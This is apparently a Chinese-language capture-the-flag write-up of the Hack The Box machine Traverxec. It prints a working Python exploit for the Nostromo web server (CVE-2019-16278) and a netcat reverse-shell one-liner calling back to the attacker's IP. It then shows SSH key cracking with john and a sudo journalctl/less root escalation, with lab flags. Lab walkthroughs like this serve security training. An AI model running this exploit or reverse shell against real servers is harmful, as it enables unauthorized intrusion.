[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…

2024-08-15 199 0

信息收集

IP Address Opening Ports
10.10.10.165 TCP:22,80

$ nmap -p- 10.10.10.165 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION                                                                                                                                                                                                                
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)                                                                                                                                                                         
| ssh-hostkey:                                                                                                                                                                                                                              
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)                                                                                                                                                                              
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)                                                                                                                                                                             
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)                                                                                                                                                                           
80/tcp open  http    nostromo 1.9.6                                                                                                                                                                                                         
|_http-server-header: nostromo 1.9.6                                                                                                                                                                                                        
|_http-title: TRAVERXEC                                                                                                                                                                                                                     
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

Nostromo RCE

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图

$ whatweb 10.10.10.165 -v

$ searchsploit nostromo

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图1

https://www.exploit-db.com/exploits/47837

#!/usr/bin/env python
import sys
import socket

art = """

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |    |  
  /     /|     ||     /  /     /|/    /  /___/|  
 /     / /____/||\    \  \    |/|    |__ |___|/  
|     | |____|/ \ \    \ |    | |       \        
|     |  _____   \|     \|    | |     __/ __     
|\     \|\    \   |\         /| |\    \  /  \    
| \_____\|    |   | \_______/ | | \____\/    |   
| |     /____/|    \ |     | /  | |    |____/|   
 \|_____|    ||     \|_____|/    \|____|   | |   
        |____|/                        |___|/    



"""

help_menu = '\r\nUsage: cve2019-16278.py <Target_IP> <Target_Port> <Command>'

def connect(soc):
    response = ""
    try:
        while True:
            connection = soc.recv(1024)
            if len(connection) == 0:
                break
            response += connection.decode('utf-8')
    except:
        pass
    return response

def cve(target, port, cmd):
    soc = socket.socket() 
    soc.connect((target, int(port)))
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    soc.send(payload.encode('utf-8'))
    receive = connect(soc)
    print(receive)

if __name__ == "__main__":

    print(art)
    
    try:
        target = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]

        cve(target, port, cmd)
   
    except IndexError:
        print(help_menu)

$ python2 cve2019_16278.py 10.10.10.165 80 id

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图2

$ python2 cve2019_16278.py 10.10.10.165 80 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.24 10032 >/tmp/f'

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图3

www-data to david

$ ls -al /home/david/public_www/protected-file-area

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图4

$ base64 /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

$ echo 
H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
6hzE7jwt5h64paBUQcd5I85rZXhHBnNuFCo8CTsocnTcPbm7OkUttG1KrEJIcpKJHkYjRhzchYAl
5rjjTeZjeoUIYKeUKaqyYuAo9kqTHEEYZ/Tq9ZuWNNLALU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-identity-files.tgz

$ tar -zxvf backup-ssh-identity-files.tgz

$ cat home/david/.ssh/id_rsa

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图5

$ openssl rsa -in home/david/.ssh/id_rsa

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图6

$ ssh2john home/david/.ssh/id_rsa > hash

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图7

key:hunter

$ openssl rsas -in home/david/.ssh/id_rsa -out id_rsa

$ chmod 600 id_rsa

$ ssh -i id_rsa [email protected]

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图8

User.txt

c4830294ae2b76864b388d4e54452bf1

权限提升

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图9

$ cat /home/david/bin/server-stats.sh

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图10

这段脚本通过 journalctl 返回 nostromo 服务日志的最后 5 行。这个脚本存在漏洞,因为 journalctl 会调用默认的分页程序,而这个分页程序很可能是 less。less 命令会将输出显示在用户屏幕上,并在内容显示后等待用户输入。这可以被利用,通过在 less 命令中运行一个 shell 命令。

$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

途中没有出现输入密码,说明david是在/etc/sudoers文件中是免密执行

!/bin/bash

[Meachines] [Easy] Traverxec Nostromo RCE+SSH-私钥RS…插图11

Root.txt

57ac9d01c8cbff939204951632535154


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论